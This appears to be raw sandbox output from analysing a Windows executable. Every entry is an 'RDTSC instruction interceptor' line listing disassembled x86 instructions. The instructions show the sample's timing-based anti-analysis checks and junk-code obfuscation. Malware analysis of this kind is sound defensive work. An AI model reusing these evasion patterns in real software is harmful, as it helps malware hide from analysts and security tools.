Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790A79 second address: 790A8A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F5ED4EAF476h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790A8A second address: 790A8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790B0B second address: 790B0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790C8A second address: 790C90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790DE2 second address: 790E32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F5ED4EAF488h 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007F5ED4EAF478h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 00000014h 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a mov dword ptr [ebp+122D1819h], eax 0x00000030 push 99160980h 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 pushad 0x00000039 popad 0x0000003a pop eax 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790E32 second address: 790E76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jns 00007F5ED52EEF76h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e add dword ptr [esp], 66E9F700h 0x00000015 add edx, 28311910h 0x0000001b push 00000003h 0x0000001d mov edx, dword ptr [ebp+122D2BCBh] 0x00000023 push 00000000h 0x00000025 add dword ptr [ebp+122D28E5h], ecx 0x0000002b push 00000003h 0x0000002d jp 00007F5ED52EEF79h 0x00000033 call 00007F5ED52EEF79h 0x00000038 push edi 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790E76 second address: 790EA6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 jmp 00007F5ED4EAF484h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F5ED4EAF47Eh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790EA6 second address: 790ED0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F5ED52EEF7Ch 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5ED52EEF84h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790ED0 second address: 790EE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5ED4EAF47Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790EE0 second address: 790F2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push edx 0x0000000c je 00007F5ED52EEF78h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov dl, al 0x00000018 lea ebx, dword ptr [ebp+12452976h] 0x0000001e jmp 00007F5ED52EEF89h 0x00000023 xchg eax, ebx 0x00000024 je 00007F5ED52EEF89h 0x0000002a pushad 0x0000002b jmp 00007F5ED52EEF7Bh 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790F2C second address: 790F4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5ED4EAF489h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790F4D second address: 790F53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B0C44 second address: 7B0C5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED4EAF480h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B0C5D second address: 7B0C76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F5ED52EEF76h 0x0000000a pop edx 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 pop ebx 0x00000011 jnp 00007F5ED52EEF7Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B1257 second address: 7B1278 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED4EAF488h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B1278 second address: 7B127D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B13C5 second address: 7B13CA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B1504 second address: 7B151C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5ED52EEF83h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B151C second address: 7B1524 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B1524 second address: 7B1528 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B168E second address: 7B1692 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B1800 second address: 7B1849 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED52EEF84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnc 00007F5ED52EEF76h 0x00000010 push edx 0x00000011 pop edx 0x00000012 jmp 00007F5ED52EEF84h 0x00000017 jmp 00007F5ED52EEF83h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B1992 second address: 7B1996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B1996 second address: 7B19A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B19A2 second address: 7B19A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B19A6 second address: 7B19AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B19AA second address: 7B19B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B19B3 second address: 7B19B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B19B9 second address: 7B19DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edx 0x00000006 jno 00007F5ED4EAF476h 0x0000000c jmp 00007F5ED4EAF480h 0x00000011 pop edx 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B19DC second address: 7B19E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B19E2 second address: 7B19E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B1B41 second address: 7B1B47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B1B47 second address: 7B1B50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B1B50 second address: 7B1B75 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED52EEF89h 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F5ED52EEF76h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B1B75 second address: 7B1B79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B1D24 second address: 7B1D2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7744D0 second address: 7744F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F5ED4EAF47Ch 0x0000000a pop esi 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5ED4EAF47Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7744F2 second address: 7744F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7744F6 second address: 7744FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B1E8F second address: 7B1E9B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jne 00007F5ED52EEF76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B1E9B second address: 7B1EBE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED4EAF489h 0x00000007 jo 00007F5ED4EAF47Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B1EBE second address: 7B1ECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B1ECD second address: 7B1ED1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B26F3 second address: 7B2700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 js 00007F5ED52EEF7Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B2AD2 second address: 7B2B04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5ED4EAF484h 0x00000009 jmp 00007F5ED4EAF47Eh 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 jns 00007F5ED4EAF476h 0x00000019 pop ecx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77E620 second address: 77E624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B90E2 second address: 7B90E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B7A45 second address: 7B7A4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B7A4B second address: 7B7A4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B93EE second address: 7B93F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F5ED52EEF76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BD1BC second address: 7BD1CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F5ED4EAF476h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BD1CA second address: 7BD1D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 785254 second address: 785258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 785258 second address: 78525C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78525C second address: 785269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 785269 second address: 78526F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78526F second address: 7852AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5ED4EAF487h 0x00000009 popad 0x0000000a jmp 00007F5ED4EAF47Ah 0x0000000f popad 0x00000010 jo 00007F5ED4EAF488h 0x00000016 jbe 00007F5ED4EAF482h 0x0000001c js 00007F5ED4EAF476h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC6B8 second address: 7BC6F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED52EEF84h 0x00000007 jbe 00007F5ED52EEF7Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5ED52EEF83h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC6F4 second address: 7BC6F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC6F8 second address: 7BC703 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC863 second address: 7BC867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC867 second address: 7BC86B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCCD0 second address: 7BCCDA instructions: 0x00000000 rdtsc 0x00000002 je 00007F5ED4EAF476h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCCDA second address: 7BCCE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edi 0x0000000b pop edi 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCCE7 second address: 7BCCFD instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5ED4EAF488h 0x00000008 jmp 00007F5ED4EAF47Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCE39 second address: 7BCE62 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 je 00007F5ED52EEF76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F5ED52EEF85h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCE62 second address: 7BCE68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCE68 second address: 7BCE6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCE6D second address: 7BCE7D instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5ED4EAF478h 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCE7D second address: 7BCE81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BD038 second address: 7BD03C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BD03C second address: 7BD05C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jng 00007F5ED52EEF76h 0x0000000d push edi 0x0000000e pop edi 0x0000000f jnc 00007F5ED52EEF76h 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push edi 0x0000001c pop edi 0x0000001d push eax 0x0000001e pop eax 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BD05C second address: 7BD064 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BEDCE second address: 7BEDD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF0E2 second address: 7BF0E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF156 second address: 7BF16D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5ED52EEF7Ch 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF16D second address: 7BF172 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF8AB second address: 7BF8AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF927 second address: 7BF93E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5ED4EAF482h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF93E second address: 7BF948 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F5ED52EEF76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF948 second address: 7BF94C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF94C second address: 7BF988 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebx 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007F5ED52EEF78h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000014h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F5ED52EEF82h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF988 second address: 7BF98D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BFA57 second address: 7BFA5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BFA5C second address: 7BFA62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BFEE5 second address: 7BFEE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BFEE9 second address: 7BFEED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BFEED second address: 7BFEF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BFEF3 second address: 7BFEFD instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5ED4EAF47Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C04B9 second address: 7C04D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED52EEF87h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1DB1 second address: 7C1E19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED4EAF486h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+122D30B6h], edi 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F5ED4EAF478h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 0000001Ch 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c or esi, dword ptr [ebp+122D3021h] 0x00000032 push 00000000h 0x00000034 mov esi, dword ptr [ebp+122D1B2Bh] 0x0000003a xchg eax, ebx 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F5ED4EAF480h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1E19 second address: 7C1E3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F5ED52EEF76h 0x00000009 jno 00007F5ED52EEF76h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F5ED52EEF81h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C298A second address: 7C29BA instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5ED4EAF476h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b jmp 00007F5ED4EAF484h 0x00000010 push 00000000h 0x00000012 mov dword ptr [ebp+122D305Eh], ebx 0x00000018 push 00000000h 0x0000001a cmc 0x0000001b push eax 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
